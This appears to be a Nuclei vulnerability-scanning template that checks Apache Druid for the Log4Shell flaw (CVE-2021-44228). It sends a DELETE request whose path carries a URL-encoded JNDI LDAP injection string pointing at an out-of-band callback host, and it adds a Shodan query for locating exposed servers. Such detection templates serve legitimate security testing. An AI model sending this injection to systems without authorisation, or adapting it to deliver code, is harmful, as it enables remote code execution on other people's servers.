id: apache-druid-log4j

info:
  name: Apache Druid - Remote Code Execution (Apache Log4j)
  author: SleepingBag945
  severity: critical
  description: Apache Druid is vulnerable to RCE due to Log4j.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
    cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Apache Druid"
    product: druid
    vendor: apache
  tags: cve,cve2021,rce,jndi,log4j,apache,druid,oast

http:
  - method: DELETE
    path:
      - "{{BaseURL}}/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2f{{interactsh-url}}%2ftea%7d"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 404
# digest: 490a00463044022073ad4a0841fc50dcf08fa6bb89278c2d4fff6550f2de4b828a1f05f56c872e2202201dab25b8c44ec6598979137727b67cf82d97ade0868505560b37b0aac6de7adf:922c64590222798bb761d5b6d8e72950